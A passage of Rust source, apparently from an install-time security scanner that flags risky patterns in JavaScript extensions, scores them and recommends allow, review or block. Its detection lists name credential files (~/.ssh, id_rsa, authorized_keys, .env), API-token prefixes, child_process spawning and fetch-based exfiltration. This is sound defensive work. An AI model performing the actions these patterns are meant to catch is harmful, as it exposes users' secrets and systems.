1251 }
1252}
1253
1254pub fn security_evidence_ledger_jsonl(
1260 report: &SecurityScanReport,
1261) -> Result<String, serde_json::Error> {
1262 let mut out = String::new();
1263 for (i, finding) in report.findings.iter().enumerate() {
1264 let entry = SecurityEvidenceLedgerEntry::from_finding(i, &report.extension_id, finding);
1265 if i > 0 {
1266 out.push('\n');
1267 }
1268 out.push_str(&serde_json::to_string(&entry)?);
1269 }
1270 Ok(out)
1271}
1272
1273pub struct SecurityScanner;
1280
1281impl SecurityScanner {
1282 #[must_use]
1284 pub fn scan_source(extension_id: &str, source: &str) -> SecurityScanReport {
1285 let mut findings = Vec::new();
1286
1287 for (idx, line) in source.lines().enumerate() {
1288 let line_no = idx + 1;
1289 let trimmed = line.trim();
1290
1291 if trimmed.is_empty()
1293 || trimmed.starts_with("//")
1294 || trimmed.starts_with('*')
1295 || trimmed.starts_with("/*")
1296 {
1297 continue;
1298 }
1299
1300 Self::scan_line(trimmed, line_no, &mut findings);
1301 }
1302
1303 SecurityScanReport::from_findings(extension_id.to_string(), findings)
1304 }
1305
1306 pub fn scan_path(extension_id: &str, path: &Path, root: &Path) -> SecurityScanReport {
1308 let files = collect_scannable_files(path);
1309 let mut findings = Vec::new();
1310
1311 for file_path in &files {
1312 let Ok(content) = std::fs::read_to_string(file_path) else {
1313 continue;
1314 };
1315 let rel = relative_posix_path(root, file_path);
1316 let mut in_block_comment = false;
1317
1318 for (idx, raw_line) in content.lines().enumerate() {
1319 let line_no = idx + 1;
1320
1321 let line = strip_block_comment_tracking(raw_line, &mut in_block_comment);
1323 let trimmed = line.trim();
1324
1325 if trimmed.is_empty() || trimmed.starts_with("//") || trimmed.starts_with('*') {
1326 continue;
1327 }
1328
1329 Self::scan_line_with_file(trimmed, line_no, &rel, &mut findings);
1330 }
1331 }
1332
1333 SecurityScanReport::from_findings(extension_id.to_string(), findings)
1334 }
1335
1336 fn scan_line(text: &str, line_no: usize, findings: &mut Vec<SecurityFinding>) {
1337 Self::scan_line_with_file(text, line_no, "", findings);
1338 }
1339
1340 #[allow(clippy::too_many_lines)]
1341 fn scan_line_with_file(
1342 text: &str,
1343 line_no: usize,
1344 file: &str,
1345 findings: &mut Vec<SecurityFinding>,
1346 ) {
1347 let file_opt = if file.is_empty() {
1348 None
1349 } else {
1350 Some(file.to_string())
1351 };
1352
1353 if contains_eval_call(text) {
1357 findings.push(SecurityFinding {
1358 rule_id: SecurityRuleId::EvalUsage,
1359 risk_tier: RiskTier::Critical,
1360 rationale: "eval() enables arbitrary code execution at runtime".to_string(),
1361 file: file_opt.clone(),
1362 line: Some(line_no),
1363 column: text.find("eval(").map(|c| c + 1),
1364 snippet: Some(truncate_snippet(text)),
1365 });
1366 }
1367
1368 if text.contains("new Function") && !text.contains("new Function()") {
1370 findings.push(SecurityFinding {
1371 rule_id: SecurityRuleId::NewFunctionUsage,
1372 risk_tier: RiskTier::Critical,
1373 rationale: "new Function() creates code from strings, enabling injection"
1374 .to_string(),
1375 file: file_opt.clone(),
1376 line: Some(line_no),
1377 column: text.find("new Function").map(|c| c + 1),
1378 snippet: Some(truncate_snippet(text)),
1379 });
1380 }
1381
1382 if text.contains("process.binding") {
1384 findings.push(SecurityFinding {
1385 rule_id: SecurityRuleId::ProcessBinding,
1386 risk_tier: RiskTier::Critical,
1387 rationale: "process.binding() accesses internal Node.js C++ bindings".to_string(),
1388 file: file_opt.clone(),
1389 line: Some(line_no),
1390 column: text.find("process.binding").map(|c| c + 1),
1391 snippet: Some(truncate_snippet(text)),
1392 });
1393 }
1394
1395 if text.contains("process.dlopen") {
1397 findings.push(SecurityFinding {
1398 rule_id: SecurityRuleId::ProcessDlopen,
1399 risk_tier: RiskTier::Critical,
1400 rationale: "process.dlopen() loads native addons, bypassing sandbox".to_string(),
1401 file: file_opt.clone(),
1402 line: Some(line_no),
1403 column: text.find("process.dlopen").map(|c| c + 1),
1404 snippet: Some(truncate_snippet(text)),
1405 });
1406 }
1407
1408 if text.contains("__proto__") || text.contains("Object.setPrototypeOf") {
1410 findings.push(SecurityFinding {
1411 rule_id: SecurityRuleId::ProtoPollution,
1412 risk_tier: RiskTier::Critical,
1413 rationale: "Prototype manipulation can pollute shared object chains".to_string(),
1414 file: file_opt.clone(),
1415 line: Some(line_no),
1416 column: text
1417 .find("__proto__")
1418 .or_else(|| text.find("Object.setPrototypeOf"))
1419 .map(|c| c + 1),
1420 snippet: Some(truncate_snippet(text)),
1421 });
1422 }
1423
1424 if text.contains("require.cache") {
1426 findings.push(SecurityFinding {
1427 rule_id: SecurityRuleId::RequireCacheManip,
1428 risk_tier: RiskTier::Critical,
1429 rationale: "require.cache manipulation can hijack module resolution".to_string(),
1430 file: file_opt.clone(),
1431 line: Some(line_no),
1432 column: text.find("require.cache").map(|c| c + 1),
1433 snippet: Some(truncate_snippet(text)),
1434 });
1435 }
1436
1437 if contains_hardcoded_secret(text) {
1441 findings.push(SecurityFinding {
1442 rule_id: SecurityRuleId::HardcodedSecret,
1443 risk_tier: RiskTier::High,
1444 rationale: "Potential hardcoded secret or API key detected".to_string(),
1445 file: file_opt.clone(),
1446 line: Some(line_no),
1447 column: None,
1448 snippet: Some(truncate_snippet(text)),
1449 });
1450 }
1451
1452 if contains_dynamic_import(text) {
1454 findings.push(SecurityFinding {
1455 rule_id: SecurityRuleId::DynamicImport,
1456 risk_tier: RiskTier::High,
1457 rationale: "Dynamic import() can load arbitrary modules at runtime".to_string(),
1458 file: file_opt.clone(),
1459 line: Some(line_no),
1460 column: text.find("import(").map(|c| c + 1),
1461 snippet: Some(truncate_snippet(text)),
1462 });
1463 }
1464
1465 if text.contains("Object.defineProperty")
1467 && (text.contains("globalThis")
1468 || text.contains("global.")
1469 || text.contains("prototype"))
1470 {
1471 findings.push(SecurityFinding {
1472 rule_id: SecurityRuleId::DefinePropertyAbuse,
1473 risk_tier: RiskTier::High,
1474 rationale: "Object.defineProperty on global/prototype can intercept operations"
1475 .to_string(),
1476 file: file_opt.clone(),
1477 line: Some(line_no),
1478 column: text.find("Object.defineProperty").map(|c| c + 1),
1479 snippet: Some(truncate_snippet(text)),
1480 });
1481 }
1482
1483 if contains_exfiltration_pattern(text) {
1485 findings.push(SecurityFinding {
1486 rule_id: SecurityRuleId::NetworkExfiltration,
1487 risk_tier: RiskTier::High,
1488 rationale: "Potential data exfiltration via constructed network request"
1489 .to_string(),
1490 file: file_opt.clone(),
1491 line: Some(line_no),
1492 column: None,
1493 snippet: Some(truncate_snippet(text)),
1494 });
1495 }
1496
1497 if contains_sensitive_path_write(text) {
1499 findings.push(SecurityFinding {
1500 rule_id: SecurityRuleId::SensitivePathWrite,
1501 risk_tier: RiskTier::High,
1502 rationale: "Write to security-sensitive filesystem path detected".to_string(),
1503 file: file_opt.clone(),
1504 line: Some(line_no),
1505 column: None,
1506 snippet: Some(truncate_snippet(text)),
1507 });
1508 }
1509
1510 if text.contains("process.env") {
1514 findings.push(SecurityFinding {
1515 rule_id: SecurityRuleId::ProcessEnvAccess,
1516 risk_tier: RiskTier::Medium,
1517 rationale: "process.env access may expose secrets or configuration".to_string(),
1518 file: file_opt.clone(),
1519 line: Some(line_no),
1520 column: text.find("process.env").map(|c| c + 1),
1521 snippet: Some(truncate_snippet(text)),
1522 });
1523 }
1524
1525 if contains_timer_abuse(text) {
1527 findings.push(SecurityFinding {
1528 rule_id: SecurityRuleId::TimerAbuse,
1529 risk_tier: RiskTier::Medium,
1530 rationale: "Very short timer interval may indicate resource abuse".to_string(),
1531 file: file_opt.clone(),
1532 line: Some(line_no),
1533 column: None,
1534 snippet: Some(truncate_snippet(text)),
1535 });
1536 }
1537
1538 if text.contains("new Proxy") || text.contains("Reflect.") {
1540 findings.push(SecurityFinding {
1541 rule_id: SecurityRuleId::ProxyReflect,
1542 risk_tier: RiskTier::Medium,
1543 rationale: "Proxy/Reflect can intercept and modify object operations transparently"
1544 .to_string(),
1545 file: file_opt.clone(),
1546 line: Some(line_no),
1547 column: text
1548 .find("new Proxy")
1549 .or_else(|| text.find("Reflect."))
1550 .map(|c| c + 1),
1551 snippet: Some(truncate_snippet(text)),
1552 });
1553 }
1554
1555 if contains_with_statement(text) {
1557 findings.push(SecurityFinding {
1558 rule_id: SecurityRuleId::WithStatement,
1559 risk_tier: RiskTier::Medium,
1560 rationale:
1561 "with statement modifies scope chain, making variable resolution unpredictable"
1562 .to_string(),
1563 file: file_opt.clone(),
1564 line: Some(line_no),
1565 column: text.find("with").map(|c| c + 1),
1566 snippet: Some(truncate_snippet(text)),
1567 });
1568 }
1569
1570 if text.contains("debugger") && is_debugger_statement(text) {
1574 findings.push(SecurityFinding {
1575 rule_id: SecurityRuleId::DebuggerStatement,
1576 risk_tier: RiskTier::Low,
1577 rationale: "debugger statement left in production code".to_string(),
1578 file: file_opt.clone(),
1579 line: Some(line_no),
1580 column: text.find("debugger").map(|c| c + 1),
1581 snippet: Some(truncate_snippet(text)),
1582 });
1583 }
1584
1585 if contains_console_info_leak(text) {
1587 findings.push(SecurityFinding {
1588 rule_id: SecurityRuleId::ConsoleInfoLeak,
1589 risk_tier: RiskTier::Low,
1590 rationale: "Console output may leak sensitive information".to_string(),
1591 file: file_opt.clone(),
1592 line: Some(line_no),
1593 column: text.find("console.").map(|c| c + 1),
1594 snippet: Some(truncate_snippet(text)),
1595 });
1596 }
1597
1598 if contains_child_process_spawn(text) {
1604 findings.push(SecurityFinding {
1605 rule_id: SecurityRuleId::ChildProcessSpawn,
1606 risk_tier: RiskTier::Critical,
1607 rationale: "child_process command execution enables arbitrary system commands"
1608 .to_string(),
1609 file: file_opt.clone(),
1610 line: Some(line_no),
1611 column: find_child_process_column(text),
1612 snippet: Some(truncate_snippet(text)),
1613 });
1614 }
1615
1616 if text.contains("constructor.constructor") || text.contains("constructor[\"constructor\"]")
1618 {
1619 findings.push(SecurityFinding {
1620 rule_id: SecurityRuleId::ConstructorEscape,
1621 risk_tier: RiskTier::Critical,
1622 rationale:
1623 "constructor.constructor() can escape sandbox by accessing Function constructor"
1624 .to_string(),
1625 file: file_opt.clone(),
1626 line: Some(line_no),
1627 column: text
1628 .find("constructor.constructor")
1629 .or_else(|| text.find("constructor[\"constructor\"]"))
1630 .map(|c| c + 1),
1631 snippet: Some(truncate_snippet(text)),
1632 });
1633 }
1634
1635 if contains_native_module_require(text) {
1637 findings.push(SecurityFinding {
1638 rule_id: SecurityRuleId::NativeModuleRequire,
1639 risk_tier: RiskTier::Critical,
1640 rationale: "Requiring native addon (.node/.so/.dylib) bypasses JS sandbox"
1641 .to_string(),
1642 file: file_opt.clone(),
1643 line: Some(line_no),
1644 column: text.find("require(").map(|c| c + 1),
1645 snippet: Some(truncate_snippet(text)),
1646 });
1647 }
1648
1649 if contains_global_mutation(text) {
1653 findings.push(SecurityFinding {
1654 rule_id: SecurityRuleId::GlobalMutation,
1655 risk_tier: RiskTier::High,
1656 rationale: "Mutating globalThis/global properties can escape sandbox scope"
1657 .to_string(),
1658 file: file_opt.clone(),
1659 line: Some(line_no),
1660 column: text
1661 .find("globalThis.")
1662 .or_else(|| text.find("global."))
1663 .or_else(|| text.find("globalThis["))
1664 .map(|c| c + 1),
1665 snippet: Some(truncate_snippet(text)),
1666 });
1667 }
1668
1669 if contains_symlink_creation(text) {
1671 findings.push(SecurityFinding {
1672 rule_id: SecurityRuleId::SymlinkCreation,
1673 risk_tier: RiskTier::High,
1674 rationale: "Symlink/link creation can enable path traversal attacks".to_string(),
1675 file: file_opt.clone(),
1676 line: Some(line_no),
1677 column: text
1678 .find("symlink")
1679 .or_else(|| text.find("link"))
1680 .map(|c| c + 1),
1681 snippet: Some(truncate_snippet(text)),
1682 });
1683 }
1684
1685 if contains_permission_change(text) {
1687 findings.push(SecurityFinding {
1688 rule_id: SecurityRuleId::PermissionChange,
1689 risk_tier: RiskTier::High,
1690 rationale: "Changing file permissions can enable privilege escalation".to_string(),
1691 file: file_opt.clone(),
1692 line: Some(line_no),
1693 column: text
1694 .find("chmod")
1695 .or_else(|| text.find("chown"))
1696 .map(|c| c + 1),
1697 snippet: Some(truncate_snippet(text)),
1698 });
1699 }
1700
1701 if contains_socket_listener(text) {
1703 findings.push(SecurityFinding {
1704 rule_id: SecurityRuleId::SocketListener,
1705 risk_tier: RiskTier::High,
1706 rationale: "Creating network listeners opens unauthorized server ports".to_string(),
1707 file: file_opt.clone(),
1708 line: Some(line_no),
1709 column: text
1710 .find("createServer")
1711 .or_else(|| text.find("createSocket"))
1712 .map(|c| c + 1),
1713 snippet: Some(truncate_snippet(text)),
1714 });
1715 }
1716
1717 if text.contains("WebAssembly.") {
1719 findings.push(SecurityFinding {
1720 rule_id: SecurityRuleId::WebAssemblyUsage,
1721 risk_tier: RiskTier::High,
1722 rationale: "WebAssembly can execute native code, bypassing JS sandbox controls"
1723 .to_string(),
1724 file: file_opt.clone(),
1725 line: Some(line_no),
1726 column: text.find("WebAssembly.").map(|c| c + 1),
1727 snippet: Some(truncate_snippet(text)),
1728 });
1729 }
1730
1731 if text.contains("arguments.callee") || text.contains("arguments.caller") {
1735 findings.push(SecurityFinding {
1736 rule_id: SecurityRuleId::ArgumentsCallerAccess,
1737 risk_tier: RiskTier::Medium,
1738 rationale:
1739 "arguments.callee/caller enables stack introspection and caller chain walking"
1740 .to_string(),
1741 file: file_opt,
1742 line: Some(line_no),
1743 column: text
1744 .find("arguments.callee")
1745 .or_else(|| text.find("arguments.caller"))
1746 .map(|c| c + 1),
1747 snippet: Some(truncate_snippet(text)),
1748 });
1749 }
1750 }
1751}
1752
1753const fn is_js_ident_continue(byte: u8) -> bool {
1758 byte.is_ascii_alphanumeric() || matches!(byte, b'_' | b'$')
1759}
1760
1761fn contains_eval_call(text: &str) -> bool {
1763 let mut search = text;
1764 while let Some(pos) = search.find("eval(") {
1765 if pos == 0
1768 || (!is_js_ident_continue(search.as_bytes()[pos - 1])
1769 && search.as_bytes()[pos - 1] != b'.')
1770 {
1771 return true;
1772 }
1773 search = &search[pos + 5..];
1774 }
1775 false
1776}
1777
1778fn contains_dynamic_import(text: &str) -> bool {
1780 let trimmed = text.trim();
1781 if trimmed.starts_with("import ") || trimmed.starts_with("import{") {
1783 return false;
1784 }
1785 text.contains("import(")
1786}
1787
1788fn contains_hardcoded_secret(text: &str) -> bool {
1790 let lower = text.to_ascii_lowercase();
1791 let secret_keywords = [
1793 "api_key",
1794 "apikey",
1795 "api-key",
1796 "secret_key",
1797 "secretkey",
1798 "secret-key",
1799 "password",
1800 "passwd",
1801 "access_token",
1802 "accesstoken",
1803 "private_key",
1804 "privatekey",
1805 "auth_token",
1806 "authtoken",
1807 ];
1808
1809 for kw in &secret_keywords {
1810 if let Some(kw_pos) = lower.find(kw) {
1811 let rest = &text[kw_pos + kw.len()..];
1813 let rest_trimmed = rest.trim_start();
1814 if (rest_trimmed.starts_with("=\"")
1815 || rest_trimmed.starts_with("= \"")
1816 || rest_trimmed.starts_with("='")
1817 || rest_trimmed.starts_with("= '")
1818 || rest_trimmed.starts_with(": \"")
1819 || rest_trimmed.starts_with(":\"")
1820 || rest_trimmed.starts_with(": '")
1821 || rest_trimmed.starts_with(":'"))
1822 && !lower[..kw_pos].ends_with("process.env.")
1824 && !lower[..kw_pos].ends_with("env.")
1825 && !rest_trimmed.starts_with("=\"\"")
1827 && !rest_trimmed.starts_with("= \"\"")
1828 && !rest_trimmed.starts_with("=''")
1829 && !rest_trimmed.starts_with("= ''")
1830 {
1831 return true;
1832 }
1833 }
1834 }
1835
1836 let token_prefixes = ["sk-ant-", "sk-", "ghp_", "gho_", "glpat-", "xoxb-", "xoxp-"];
1838 for pfx in &token_prefixes {
1839 if text.contains(&format!("\"{pfx}")) || text.contains(&format!("'{pfx}")) {
1840 return true;
1841 }
1842 }
1843
1844 false
1845}
1846
1847fn contains_exfiltration_pattern(text: &str) -> bool {
1850 let has_network_call = text.contains("fetch(") || text.contains("XMLHttpRequest");
1851 if !has_network_call {
1852 return false;
1853 }
1854 text.contains("fetch(`") || text.contains("fetch(\"http\" +") || text.contains("fetch(url")
1856}
1857
1858fn contains_sensitive_path_write(text: &str) -> bool {
1860 let has_write = text.contains("writeFileSync")
1861 || text.contains("writeFile(")
1862 || text.contains("fs.write")
1863 || text.contains("appendFileSync")
1864 || text.contains("appendFile(");
1865 if !has_write {
1866 return false;
1867 }
1868 let sensitive_paths = [
1869 "/etc/",
1870 "/root/",
1871 "~/.ssh",
1872 "~/.bashrc",
1873 "~/.profile",
1874 "~/.zshrc",
1875 "/usr/",
1876 "/var/",
1877 ".env",
1878 "id_rsa",
1879 "authorized_keys",
1880 ];
1881 sensitive_paths.iter().any(|p| text.contains(p))
1882}
1883
1884fn contains_timer_abuse(text: &str) -> bool {
1886 if !text.contains("setInterval") {
1887 return false;
1888 }
1889 if let Some(pos) = text.rfind(", ") {
1891 let rest = text[pos + 2..]
1892 .trim_end_matches(';')
1893 .trim_end_matches(')')
1894 .trim();
1895 if let Ok(ms) = rest.parse::<u64>() {
1896 return ms < 10;
1897 }
1898 }
1899 false
1900}
1901
1902fn contains_with_statement(text: &str) -> bool {
1904 let trimmed = text.trim();
1905 if trimmed.starts_with("with (") || trimmed.starts_with("with(") {
1907 return true;
1908 }
1909 if let Some(pos) = text.find("with") {
1911 if pos > 0 {
1912 let before = text[..pos].trim_end();
1913 let after = text[pos + 4..].trim_start();
1914 if (before.ends_with('{') || before.ends_with('}') || before.ends_with(';'))
1915 && after.starts_with('(')
1916 {
1917 return true;
1918 }
1919 }
1920 }
1921 false
1922}
1923
1924fn is_debugger_statement(text: &str) -> bool {
1926 let trimmed = text.trim();
1927 trimmed == "debugger;" || trimmed == "debugger" || trimmed.starts_with("debugger;")
1928}
1929
1930fn contains_console_info_leak(text: &str) -> bool {
1932 if !text.contains("console.error") && !text.contains("console.warn") {
1934 return false;
1935 }
1936 text.contains("console.error(") || text.contains("console.warn(")
1938}
1939
1940fn contains_child_process_spawn(text: &str) -> bool {
1945 let spawn_patterns = [
1946 "exec(",
1947 "execSync(",
1948 "spawn(",
1949 "spawnSync(",
1950 "execFile(",
1951 "execFileSync(",
1952 "fork(",
1953 ];
1954 let has_cp_context =
1956 text.contains("child_process") || text.contains("cp.") || text.contains("childProcess");
1957
1958 if has_cp_context {
1959 return spawn_patterns.iter().any(|p| text.contains(p));
1960 }
1961
1962 false
1966}
1967
1968fn find_child_process_column(text: &str) -> Option<usize> {
1970 for pattern in &[
1971 "execSync(",
1972 "execFileSync(",
1973 "spawnSync(",
1974 "execFile(",
1975 "spawn(",
1976 "exec(",
1977 "fork(",
1978 ] {
1979 if let Some(pos) = text.find(pattern) {
1980 return Some(pos + 1);
1981 }
1982 }
1983 None
1984}
1985
1986fn contains_global_mutation(text: &str) -> bool {
1988 let assignment_patterns = ["globalThis.", "global.", "globalThis["];
1990
1991 for pat in &assignment_patterns {
1992 for (pos, _) in text.match_indices(pat) {
1993 let after = &text[pos + pat.len()..];
1994 if let Some(eq_pos) = after.find('=') {
1996 let before_eq = &after[..eq_pos];
1997 let after_eq = &after[eq_pos..];
1998 if !after_eq.starts_with("==")
2000 && !before_eq.contains('(')
2001 && !before_eq.contains(')')
2002 {
2003 return true;
2004 }
2005 }
2006 }
2007 }
2008 false
2009}
2010
2011fn contains_symlink_creation(text: &str) -> bool {
2013 text.contains("fs.symlink(")
2014 || text.contains("fs.symlinkSync(")
2015 || text.contains("fs.link(")
2016 || text.contains("fs.linkSync(")
2017 || text.contains("symlinkSync(")
2018 || text.contains("linkSync(")
2019}
2020
2021fn contains_permission_change(text: &str) -> bool {
2023 text.contains("fs.chmod(")
2024 || text.contains("fs.chmodSync(")
2025 || text.contains("fs.chown(")
2026 || text.contains("fs.chownSync(")
2027 || text.contains("fs.lchmod(")
2028 || text.contains("fs.lchown(")
2029 || text.contains("chmodSync(")
2030 || text.contains("chownSync(")
2031}
2032
2033fn contains_socket_listener(text: &str) -> bool {
2035 text.contains("createServer(")
2036 || text.contains("createSocket(")
2037 || text.contains(".listen(")
2038 && (text.contains("server") || text.contains("http") || text.contains("net"))
2039}
2040
2041fn contains_native_module_require(text: &str) -> bool {
2043 if !text.contains("require(") {
2044 return false;
2045 }
2046 let native_exts = [".node\"", ".node'", ".so\"", ".so'", ".dylib\"", ".dylib'"];
2047 native_exts.iter().any(|ext| text.contains(ext))
2048}
2049
2050fn truncate_snippet(text: &str) -> String {
2052 const MAX_SNIPPET_LEN: usize = 200;
2053 if text.len() <= MAX_SNIPPET_LEN {
2054 text.to_string()
2055 } else {
2056 let mut end = 0;
2057 for (i, c) in text.char_indices() {
2058 if i >= MAX_SNIPPET_LEN {
2059 break;
2060 }
2061 end = i + c.len_utf8();
2062 }
2063 if end < text.len() {
2064 format!("{}...", &text[..end])
2065 } else {
2066 text.to_string()
2067 }
2068 }
2069}
2070
2071fn collect_scannable_files(path: &Path) -> Vec<std::path::PathBuf> {
2073 if path.is_file() {
2074 return vec![path.to_path_buf()];
2075 }
2076 let mut files = Vec::new();
2077 if let Ok(entries) = std::fs::read_dir(path) {
2078 for entry in entries.flatten() {
2079 let p = entry.path();
2080 if p.is_dir() {
2081 let name = p.file_name().and_then(|n| n.to_str()).unwrap_or("");
2083 if name == "node_modules" || name.starts_with('.') {
2084 continue;
2085 }
2086 files.extend(collect_scannable_files(&p));
2087 } else if p.is_file() {
2088 if let Some(ext) = p.extension().and_then(|e| e.to_str()) {
2089 if matches!(
2090 ext,
2091 "js" | "ts" | "mjs" | "mts" | "cjs" | "cts" | "jsx" | "tsx"
2092 ) {
2093 files.push(p);
2094 }
2095 }
2096 }
2097 }
2098 }
2099 files.sort();
2100 files
2101}
2102
2103fn relative_posix_path(root: &Path, path: &Path) -> String {
2105 path.strip_prefix(root)
2106 .unwrap_or(path)
2107 .to_string_lossy()
2108 .replace('\\', "/")
2109}
2110
2111fn strip_block_comment_tracking(line: &str, in_block: &mut bool) -> String {
2115 let mut result = String::with_capacity(line.len());
2116 let mut chars = line.chars().peekable();
2117
2118 while let Some(c) = chars.next() {
2119 if *in_block {
2120 if c == '*' && chars.peek() == Some(&'/') {
2121 chars.next(); *in_block = false;
2123 }
2124 } else if c == '/' && chars.peek() == Some(&'*') {
2125 chars.next(); *in_block = true;
2127 } else if c == '/' && chars.peek() == Some(&'/') {
2128 break;
2130 } else {
2131 result.push(c);
2132 }
2133 }
2134
2135 result
2136}
2137
2138pub const INSTALL_TIME_RISK_SCHEMA: &str = "pi.ext.install_risk.v1";
2144
2145#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
2147#[serde(rename_all = "snake_case")]
2148pub enum InstallRecommendation {
2149 Allow,
2151 Review,
2153 Block,
2155}
2156
2157impl fmt::Display for InstallRecommendation {
2158 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2159 match self {
2160 Self::Allow => f.write_str("ALLOW"),
2161 Self::Review => f.write_str("REVIEW"),
2162 Self::Block => f.write_str("BLOCK"),
2163 }
2164 }
2165}
2166
2167#[derive(Debug, Clone, Serialize, Deserialize)]
2175pub struct InstallTimeRiskReport {
2176 pub schema: String,
2178 pub extension_id: String,
2180 pub composite_risk_tier: RiskTier,
2182 pub composite_risk_score: u8,
2184 pub recommendation: InstallRecommendation,
2186 pub verdict: String,
2188 pub preflight_summary: PreflightSummaryBrief,
2190 pub security_summary: SecuritySummaryBrief,
2192 pub rulebook_version: String,
2194}
2195
2196#[derive(Debug, Clone, Serialize, Deserialize)]
2198pub struct PreflightSummaryBrief {
2199 pub verdict: PreflightVerdict,
2200 pub confidence: u8,
2201 pub errors: usize,
2202 pub warnings: usize,
2203}
2204
2205#[derive(Debug, Clone, Serialize, Deserialize)]
2207pub struct SecuritySummaryBrief {
2208 pub overall_tier: RiskTier,
2209 pub critical: usize,
2210 pub high: usize,
2211 pub medium: usize,
2212 pub low: usize,
2213 pub total_findings: usize,
2214}
2215
2216impl InstallTimeRiskReport {
2217 #[must_use]
2225 pub fn classify(
2226 extension_id: &str,
2227 preflight: &PreflightReport,
2228 security: &SecurityScanReport,
2229 ) -> Self {
2230 let preflight_summary = PreflightSummaryBrief {
2231 verdict: preflight.verdict,
2232 confidence: preflight.confidence.value(),
2233 errors: preflight.summary.errors,
2234 warnings: preflight.summary.warnings,
2235 };
2236
2237 let security_summary = SecuritySummaryBrief {
2238 overall_tier: security.overall_tier,
2239 critical: security.tier_counts.critical,
2240 high: security.tier_counts.high,
2241 medium: security.tier_counts.medium,
2242 low: security.tier_counts.low,
2243 total_findings: security.findings.len(),
2244 };
2245
2246 let preflight_risk = match preflight.verdict {
2249 PreflightVerdict::Fail => RiskTier::High,
2250 PreflightVerdict::Warn => RiskTier::Medium,
2251 PreflightVerdict::Pass => RiskTier::Low,
2252 };
2253 let composite_risk_tier = preflight_risk.min(security.overall_tier);
2254
2255 let security_deduction = security.tier_counts.critical.saturating_mul(30)
2258 + security.tier_counts.high.saturating_mul(20)
2259 + security.tier_counts.medium.saturating_mul(10)
2260 + security.tier_counts.low.saturating_mul(3);
2261 let preflight_deduction = preflight.summary.errors.saturating_mul(15)
2262 + preflight.summary.warnings.saturating_mul(5);
2263 let total_deduction = security_deduction + preflight_deduction;
2264 let composite_risk_score =
2265 u8::try_from(100_usize.saturating_sub(total_deduction).min(100)).unwrap_or(0);
2266
2267 let recommendation = match composite_risk_tier {
2269 RiskTier::Critical => InstallRecommendation::Block,
2270 RiskTier::High => InstallRecommendation::Review,
2271 RiskTier::Medium => {
2272 if composite_risk_score < 50 {
2273 InstallRecommendation::Review
2274 } else {
2275 InstallRecommendation::Allow
2276 }
2277 }
2278 RiskTier::Low => InstallRecommendation::Allow,
2279 };
2280
2281 let verdict = Self::format_verdict(
2282 recommendation,
2283 &preflight_summary,
2284 &security_summary,
2285 composite_risk_score,
2286 );
2287
2288 Self {
2289 schema: INSTALL_TIME_RISK_SCHEMA.to_string(),
2290 extension_id: extension_id.to_string(),
2291 composite_risk_tier,
2292 composite_risk_score,
2293 recommendation,
2294 verdict,
2295 preflight_summary,
2296 security_summary,
2297 rulebook_version: SECURITY_RULEBOOK_VERSION.to_string(),
2298 }
2299 }
2300
2301 fn format_verdict(
2302 recommendation: InstallRecommendation,
2303 preflight: &PreflightSummaryBrief,
2304 security: &SecuritySummaryBrief,
2305 score: u8,
2306 ) -> String {
2307 let sec_part = if security.total_findings == 0 {
2308 "no security findings".to_string()
2309 } else {
2310 let mut parts = Vec::new();
2311 if security.critical > 0 {
2312 parts.push(format!("{} critical", security.critical));
2313 }
2314 if security.high > 0 {
2315 parts.push(format!("{} high", security.high));
2316 }
2317 if security.medium > 0 {
2318 parts.push(format!("{} medium", security.medium));
2319 }
2320 if security.low > 0 {
2321 parts.push(format!("{} low", security.low));
2322 }
2323 parts.join(", ")
2324 };
2325
2326 let compat_part = match preflight.verdict {
2327 PreflightVerdict::Pass => "compatible".to_string(),
2328 PreflightVerdict::Warn => format!("{} compat warning(s)", preflight.warnings),
2329 PreflightVerdict::Fail => format!("{} compat error(s)", preflight.errors),
2330 };
2331
2332 format!("{recommendation}: score {score}/100 — {sec_part}; {compat_part}")
2333 }
2334
2335 pub fn to_json(&self) -> Result<String, serde_json::Error> {
2341 serde_json::to_string_pretty(self)
2342 }
2343
2344 #[must_use]
2346 pub const fn should_block(&self) -> bool {
2347 matches!(self.recommendation, InstallRecommendation::Block)
2348 }
2349
2350 #[must_use]
2352 pub const fn needs_review(&self) -> bool {
2353 matches!(
2354 self.recommendation,
2355 InstallRecommendation::Block | InstallRecommendation::Review
2356 )
2357 }
2358}
2359
2360#[must_use]
2365pub fn classify_extension_source(
2366 extension_id: &str,
2367 source: &str,
2368 policy: &ExtensionPolicy,
2369) -> InstallTimeRiskReport {
2370 let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2371 let preflight = analyzer.analyze_source(extension_id, source);
2372 let security = SecurityScanner::scan_source(extension_id, source);
2373 InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2374}
2375
2376pub fn classify_extension_path(
2379 extension_id: &str,
2380 path: &Path,
2381 policy: &ExtensionPolicy,
2382) -> InstallTimeRiskReport {
2383 let analyzer = PreflightAnalyzer::new(policy, Some(extension_id));
2384 let preflight = analyzer.analyze(path);
2385 let security = SecurityScanner::scan_path(extension_id, path, path);
2386 InstallTimeRiskReport::classify(extension_id, &preflight, &security)
2387}
2388
2389pub const TRUST_LIFECYCLE_SCHEMA: &str = "pi.ext.trust_lifecycle.v1";
2395
2396#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
2406#[serde(rename_all = "snake_case")]
2407pub enum ExtensionTrustState {
2408 Quarantined,
2412 Restricted,
2416 Trusted,
2419}
2420
2421impl fmt::Display for ExtensionTrustState {
2422 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2423 match self {
2424 Self::Quarantined => f.write_str("quarantined"),
2425 Self::Restricted => f.write_str("restricted"),
2426 Self::Trusted => f.write_str("trusted"),
2427 }
2428 }
2429}
2430
2431impl ExtensionTrustState {
2432 #[must_use]
2435 pub const fn allows_dangerous_hostcalls(self) -> bool {
2436 matches!(self, Self::Trusted)
2437 }
2438
2439 #[must_use]
2442 pub const fn allows_read_hostcalls(self) -> bool {
2443 matches!(self, Self::Restricted | Self::Trusted)
2444 }
2445
2446 #[must_use]
2449 pub const fn is_quarantined(self) -> bool {
2450 matches!(self, Self::Quarantined)
2451 }
2452}
2453
2454#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
2456#[serde(rename_all = "snake_case")]
2457pub enum TrustTransitionKind {
2458 Promote,
2460 Demote,
2462}
2463
2464impl fmt::Display for TrustTransitionKind {
